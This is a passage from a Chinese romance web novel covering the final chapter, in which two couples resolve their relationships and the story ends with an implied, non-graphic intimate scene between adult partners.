迟念没有回握,目光越过他的身侧,看到挣扎着要起来的何伶,她一步跨过去,挤走坐在床边的男人。 用只能她听到的音量说:“你们真在谈恋爱?” 何伶快被他们两个折腾死,甚至觉得有些缺氧,摸索着按下墙壁的红色按钮,虚弱地说:“没有。” 迟念瞥了眼旁边,“幸好,看着挺不靠谱的。” “嗯…是有点儿。” 病房门开,护士走进来,见这边闹哄哄的,皱眉说:“都几点了,你们不睡别的病人还要休息呢,只能留一个陪床。” 何伶马上看向花尧,用眼神催赶他——你走! 虽是盛夏,医院却自带天然凉气,花尧无法理直气壮留下陪床,不忿地鼓了鼓腮,脚步拖沓地走出病房。 却意外地,看到靠在门口的陈昼。 他揉了揉眼睛,以为自己看错。 “什么情况?你怎么在这?” 陈昼抬眼,目光捎带着扫了下病房里的情景,直问:“生病的是你女朋友?” “是啊。”花尧泄气似的应着,身子一矮,坐在门口的长椅上。 “哦…”陈昼低头,若有所思地看着他的脸,“你女朋友好像不是很愿意和你在一起。” 刚坐下的男人瞬间炸毛,倏地从椅子上弹起来,“你说什么?” 陈昼耸了耸肩,一点也没有因为老友的暴躁拐弯抹角,“不然她怎么发生什么事都第一时间找好朋友,不找你呢。” 第五十六章【结局】 第56章 第五十六章 结局 迟念衣服湿透, 只能换上刚从家里拿来的何伶的衣服,从洗手间出来之后,发现病床空空如也。 她怔了两秒, 跑去问铺床的护士,“这个病床的人呢?” 护士歪头看了她一眼,边整理边说:“你说何小姐吗, 她被男朋友换到楼上的高级病房了,还让我转告,让你早点回去休息。” 迟念:“……” “几楼,哪间病房?” “六楼, 602。” 迟念马不停蹄去按电梯, 等待的时候甚至想到陈昼很久以前的提议, 他说有个朋友各方面条件很好, 可以介绍给何伶。 总之, 不管和谁,都比刚才那人强。 她心急如焚地下了电梯,直奔高级病房去, 却在推开门的前一秒,像被施了魔法一样, 倏地定在门口。 病房门的中间有一条窄窄的透明玻璃,能清楚地看到里面的样子。 两张床, 靠窗位置旁边摆着橘色沙发,茶几上的透明花瓶里,插着一束浅粉色的花,不像病房,倒像家。 何伶像女主人一样,半靠在床上, 脸色虽差,眼底却透着一丝不易察觉的愉悦,明显热恋中小女生的神态。 她静静地看着手忙脚乱的男人。 花尧刚把她转到这个病房,气还没喘匀呢,就拿着保温杯去接水,不过因为很少照顾人,没掌握好水的温度。 他倒出半杯送到何伶嘴边,结果看她皱起脸。 “好烫。” “…你还没喝怎么就说烫?” “热气嘘到我了。” 花尧“啧”了一声,小声咕哝:“事儿还不少。”虽抱怨了一句,却马上鼓起腮吹了几下,感觉差不多了,又送过去,“这次再试试呢,姑奶奶。” 何伶凑过去,喝了一点,“不烫了。” “还喝吗?” “不要了。” 花尧放下杯子,随手帮她掖了掖被角,“你先睡一觉吧,我就在旁边,感觉肚子不舒服随时喊我。” 何伶嗯了一声,闭眼之前突然问:“为什么突然对我这么好?” “……” 花尧碍于她生病虚弱,一直小心轻柔,听到这句白眼狼的话,只能狠狠咬紧后槽牙,“你不会才发现我对你好吧。” “嗯。” 他吐出一口浊气,罕见地露出破碎的一面,“你拿我当鸭,我可是从头到尾都拿你当女朋友的。” “你想得美。” “怎么?”花尧做作地理了下衣领,仿佛从空气中吸收到足量的自信,“我这么优秀的你都看不上?眼光也太高了吧。” 何伶笑意盈盈地看着他,突然提起,“刚才那个男人,你朋友?” 听她这么说,花尧马上生出十二分警觉,“你说陈昼吗,不是吧…你喜欢那种类型?他这人超无趣的,而且已经有女朋友了。” 何伶挑了挑眉,“你知道他有女朋友?” “当然知道,我们认识二十几年了,他女朋友好像是分公司这边的下属,没见过,只听说有这么个人。” 花尧说完,咂了咂嘴,感叹:“枯树开花,也是不容易。” 何伶难得对演戏之外的事有兴趣,“你觉得他们会修成正果吗?” “当然啊,他女朋友我不了解,陈昼我还不了解吗。”他长叹一声,竟有些遗憾,“这么说吧,我要是女的,根本没他女朋友什么事。” 何伶发出一声疑惑,“为什么?” 花尧脸不红气不喘,“我早就嫁他了呗,孩子都得生了好几个。” 何伶明显松了口气,却翻了他一眼,背过身去,“变态!” * 迟念站在门口,看到何伶闭上眼之后,男人小心翼翼地把被子帮她盖好,然后坐在病床边的小凳上。 虽然只看到背影,却能感受到他发自内心的担忧。 心里的石头落了地,她慢慢后退,脖颈却感受到和医院空气不一样的热流,很温暖,也很熟悉。 猛地转身,她看到陈昼。 不知怎么,眼眶突然有些热。 “不是让你回去吗?” 陈昼向前一步,很轻地揉了揉她的头,“嗯,可是突然想到,做好的面你没吃,现在应该很饿。” 迟念吸了吸鼻子,认真感受了一下,胃里确实很空,还因为身体能量匮乏,隐隐生出一丝眩晕感。 “嗯,超饿的。” 陈昼轻笑,揽过她的肩,“走吧,带你去吃大餐。” 仿佛刚才什么都没发生,谁都没再提医院的事。从日本料理店出来,迟念看了眼手腕上的时间,快十二点了。 她没有困意,大脑被最近发生的事填满,甚至生出许多细碎的感慨。可是很晚了,不好意思熬着陈昼,笑着说不用他送,自己可以搭末班车回去。 陈昼按了下车钥匙,待车灯亮起时,突然如释重负地说:“我在你朋友那边应该过关了。” 迟念愣了一下,不懂他的意思。 他自然地牵起她的手,“试用期终于过了,我申请转正。” 恍恍惚惚,她想起某次聊天记录,有些脸热,“你看到了?” “抱歉,不小心看到的。”他似乎也有很多感慨,沉吟许久,只说了一句:“我好像走了很多弯路啊。” 迟念心想,他也没喝酒啊,今晚说的话怎么神神秘秘听不懂,忍不住问:“什么意思?” “想知道?” “嗯。” 他的手加了些力道,“细说的话,可能需要很长时间。” “没关系啊。”迟念被好奇心驱使,用力回握,“明天周末,不用早起,可以慢慢说。” * 关于恋爱,迟念的预想里有一套固定流程,表白、牵手、接吻、循序渐进到更深一步的亲密接触。 可是,和陈昼在一起,把原本坚不可摧的流程打乱了。 没有表白就接吻,表白之后却清汤寡水,那晚深入聊天之后的吻,也是浅尝辄止,害得她开始怀念他醉酒误亲的那次。 何伶在医院住了五天,也焦虑了五天,就算花尧不止一次说没有关系,整个剧组都是他说了算也没用。 最后还是拗不过她,提前办理了出院手续。 经过两天的基础训练,体能慢慢上来了,武术指导不敢让她太累,不到三点就连求带赶地催她回家。 所以,每当迟念下班回家时,都会对上她不解的眼神。 “你还回来干吗?” 迟念把包扔到她身上,“不回来去哪?” “男朋友家呗,年纪轻轻的,正是干柴烈火的好年纪。” “你别以己度人。”她去冰箱里拿了一瓶水,解了渴之后,才想起她那位投资人男友,“你怎么天天回来,不约会吗?” 何伶窝在柔软的沙发里,闷闷地答:“他去澳门了。”说完,想到之前撒的谎,找补道:“这次是真的。” 具体干什么去,花尧倒是极有耐心地给她解释了一堆,奈何她当时正在背剧本,左耳听右耳冒,一个字没记住。 剧本围读正式开始了,迟念这边也忙得不可开交,虽然完整经历过一次活动期,可为了创新,竟然半点经验都用不上。 马上到下班时间,迟念敲下最后一个字符,疲惫地松了口气,关闭文档。 手还没离开鼠标,椅子就被动后移,她惊慌地回头,看到欢姐和珍珠姐同时拉她的椅子往电梯口推。 她一头雾水,“干什么?” 叶珍珠神秘地冲她眨了眨眼,“难得今天收工早,我想请你吃顿饭。” 还是老地方,那家韩式烤肉店。 迟念被她们拉进去,因为人少,没有订包房,随便找了个靠窗的位置坐。菜都上齐之后,叶珍珠眼神恳切地看着她,“小迟,我有个不情之请。” 事情很简单,肉还没烤熟她就说完了。 作为助理,叶珍珠负责陈昼的所有工作相关,在他决定留下之后,她每天至少接到几十通总部打来的电话。 工作计划年初已经拟定好,他是调任过来的,下半年应该回去,职务不能替代,最近都是远程办公。 这就苦了叶珍珠,听到电话铃声都有心理阴影了。 她知道作为员工,听从命令就好,可是身体实在扛不住了,在土快要埋到脖颈时,想到这么个馊主意。 她双手合十,“你应该也知道,小陈总最近特别忙,要不你劝劝他回总部呢。” 欢姐虽然没说话,但也殷勤地盯着烤盘上的肉,在烤到刚好时剪成条,把卖相最好的一块送到她盘里。 “而且总部为了催他回去,还调来一个新经理接替他呢。” 这倒没听说,迟念一脸惊讶,“真的吗?” 叶珍珠点头,“是啊,我的工作量一而再再而三地增加,幸好新来的经理是娇娇的理想型,业务被她主动揽走一大部分。” 说到这个,欢姐露出笑容,托着腮八卦,“要说他们还真有可能修成正果,我听娇娇说他们早就认识。” 迟念被带走注意力,“真的吗?” 叶珍珠气欢姐打断她的诉苦,先一步简练地说明:“好像很早前吃早餐时一起拼桌的,当时还聊了挺久,这个经理对娇娇印象也不错,昨天还看到他们下班后一起去吃饭。” 欢姐连连点头,想到新经理的体格,咂了咂嘴,“好像特种兵退伍似的,穿上西装之后那身材简直了。” 迟念从刚才就仔细回忆,翻了半天没想起这号人。 “我怎么不知道啊。” 叶珍珠撇着嘴打趣:“你现在眼里还能看到别人吗,全是小陈总,谈这么多年了还能如胶似漆,也真是奇迹了。” 说完,马上觉得不好意思。 “你们感情这么好,我还私下找你提这种无理要求,可真是…”她叹了一口气,一脸犯了大罪的愧疚。 迟念倒没放在心上,夹了一块肉放进嘴里,细细咀嚼后,笑着抬起头,“好,我会劝他。” * 地下停车场。 陈昼脚步匆忙地从电梯里下来,视线紧盯着手机的聊天记录,他半个小时前发的三条消息,迟迟没有收到回复。 还没走到车前,就觉眼前白影一闪,一具温暖的身体钻进怀里,鼻尖弥漫着熟悉的味道,他不自觉搂紧。 卸去疲惫,下巴轻轻搁在她的发顶,深深吸了一口专属她的气息。 迟念软软搂着他的腰,觉得头顶刺刺的疼,手摸索着上去,没有意外,摸到一片刚长出来的胡茬。 她声音有些闷,“忙得连刮胡子的时间都没有啦?” “还好,只是忘记了。” 迟念不信,她抬头,近距离打量这张疲惫至极的脸。 抢走他手上的钥匙,“今天我来开车。” 许久不开,上手有些生涩,车子慢悠悠在路上行驶,刚开始还聊了几句,在过了两个红灯之后,耳边传来均匀的呼吸声。 迟念侧头,男人靠着椅背,以一种十分不舒服的姿势睡着了。 她惆怅地吐了一口气。 因为太忙,叶珍珠托付的这件事竟然拖了好几天都没找到机会说,直到周六晚上,陈昼关闭线上会议后,转头搜索迟念。 开放式厨房里,她扎着围裙,离锅大约一米远,笨拙地用锅铲怼滋滋啦啦崩油的煎蛋;余光瞥到匆忙赶来的身影,非常强硬地拒绝:“不用,我自己可以!!!” 十分钟后,她端来一碗热气腾腾的阳春面。 为了避免等会儿尴尬,她提前声明:“我厨艺真的很一般。” 蛋煎微糊,青菜也老,面条还有点煮过头了,陈昼面不改色地拿起筷子,挑了几根面条放进嘴里。 品尝之后,给出忠实的评价:“确实一般。” 迟念挂不住脸,自己谦虚可以,听不得别人说不好,“现在是下班时间,你好好说。” 陈昼虽然说一般,却也一直往嘴里送,见她要炸毛的样子,无奈地笑了一下,“以后还是我做吧,你不要祸害我的厨房。” 迟念突然觉得,现在应该是个好时机。 “不管什么事,都是从不会到会,中间的过程不应该叫失败,而是变好的过程,我肯定会做好的。” 一语双关,陈昼动作顿了顿;他没有说话,慢条斯理地把碗里的面吃光。 放下筷子,突兀地说了一句:“我想一直看着你。” 男人面色疲惫,眉眼却极度温柔,配合这句深情的话,让迟念产生一股情难自控的冲动。 当她反应过来时,自己已经坐在他的腿上,还是那种极大胆的姿势。 耳根有些发烫,想逃已经来不及,因为腰已经被男人的胳膊圈住。 只能这样一上一下,暧昧地对视着。 好在她没有忘了正事,鼓起勇气说:“我要你等我,等我靠自己的能力升到总部,理直气壮地去找你。” “几年?”他的手在腰间游走,企图以这样的行为让她收回刚才的提议。 “两…”她的注意力被肌肤相触分散,只能靠意志力回归正题,“两三年吧,你觉得怎么样?” 他目光深沉,似乎对这个提议极为不满,“不怎么样。” “什么意思?”情急之下,她按住他的肩膀,“你是觉得我做不到?还是觉得自己年龄太大了等不起?” 陈昼的眼底极快地闪过一丝讶异,手上的力道也加重,蹙眉道:“我是说,游说你来劝我回去的那个人不怎么样。” 迟念没多想,“珍珠姐人很好的。” 没想到这么轻松就诈出来了,他露出得逞的笑意,“哦~原来是她啊。” 迟念后知后觉,自己竟然落入这么拙劣的圈套,她心虚到不知道该摆什么样的表情,只能愣愣地看着他。 陈昼不想错过她脸上任何细微的变化,一秒转到审讯模式,游刃有余地问:“她用什么贿赂你的,说说看。” 迟念嘴唇动了动,弱弱地说:“一顿烤肉。” 空气忽然安静。 陈昼像一个人形惩罚座椅,每次她说出意外的话,胳膊的力道便会收紧一分,眼下已经贴合得非常紧密。 “还有呢?”他笑意淡去。 迟念觉得他在生气,又摸不准是不是假装的,没有确凿的底气,根本不敢抗议自己已经喘不过气。 她声音微弱,“没了…” “没了?”他佯装不满,音量也倏地提高。 迟念心脏狂跳,想了想,自己没做错什么,虽然表面的理由是答应珍珠姐劝他回去,归根结底,还是心疼他太累了。 她一着急,脑子就容易搭错线,茫然无措时,突然捧住他的脸,低头吻上去。 腰上的手突然圈得更紧。 作为员工,安抚上司的方式是点头哈腰说对不起;作为女朋友,这件事就简单多了,唇齿紧密纠缠,她感觉到身下男人的僵硬,吻得更加卖力。 卖力到没有察觉身体腾空。 直到脊背触到柔软的床,她才倏然睁眼,刚好对上男人溢满情欲的脸。 她想到即将可能发生的事,紧张到大脑空白。 陈昼单手撑在她上方,另一只手落在她的脸颊,潮热,细腻,像一颗刚刚成熟的水蜜桃,指尖向上滑动,把额角的发丝捋平。 他的唇角残留浅浅的水渍,不知道是她的,还是他自己的,回忆刚才的热吻,迟念脸颊腾地上了烧。 她微微侧过头,咽了下口水。 可这样的姿势仅维持一秒,燥热的手就移到脸颊,扳正她的姿势,被迫陷入漆那双黑的眼眸里。 他细细描绘她的轮廓,只是看着,就得到相当多的愉悦,冷寂多年的身体,竟也能尝到生理性喜欢的滋味。 他欲罢不能。 “一顿烤肉就把你收买了?” 迟念缩在他身下,看他表情,好像没有真的因为这件事生气,纠结几秒之后,犹豫地点了点头。 “嗯。” 他强装冷酷,用力吻了她一下。 “那你打算用什么贿赂我?” 迟念不明所以,“为什么要贿赂你?” “既然想要我离开这里,当然要付出比一顿烤肉更有价值的东西,我眼光很高,不会像你这么轻易被应付。” 气氛看似僵持,却隐隐弥漫暧昧的粉红色。 迟念口干舌燥,忍不住舔了舔嘴唇。 一番天人交战之后,她的手抬起,顺着男人的侧腰向下滑动,直到遇阻也没有停下,直到最终目的地。 鼓足的勇气即将耗尽,手指触到格外不同的区域,突然瑟缩,抖着,犹疑着,纠结要不要离开这里。 却在打定主意时,被另一只手强按着留下。 紧接着,唇覆上一片强势的温热,和醉酒那天一样,她慢慢闭上眼,颤栗地迎接男人强势的入侵和掠夺。 漫长的交缠过后,他的额头抵在她颈窝。 肌肤相触的地方溢出一层滑腻的汗,他轻叹一声,极为餍足地说:“念念,你给的贿赂我非常满意。” 窗外长夜渐明,初秋的风只敢在城市沉睡时偷偷溜出来,穿过轻薄的纱帘,在旖旎的室内放肆游走。 女孩露在外面的腿动了一下,似是在沉睡中感受到季节的更替,意识混沌下,哼出几声辨不清的呓语。 梦话般不成型的几个音而已,身边的人却像收到明确指令,他双眼紧闭着,却把半个身子跑出被子外的人捞回怀里。 他明明很满意,却绝口不提到底要不要走。! 迟念在梦境里继续着刚才的旖旎,忘记了追问,因为人的潜意识里只会展现内心深处最在意的东西。 未来很长,有很多时间可以在一起。 如果觉得未来这个词虚无缥缈,让人没有实感,那就说明天是休息日。 不用上班,不用早起,天气晴朗,这样美好的一天,我们会一直在一起。 【正文完】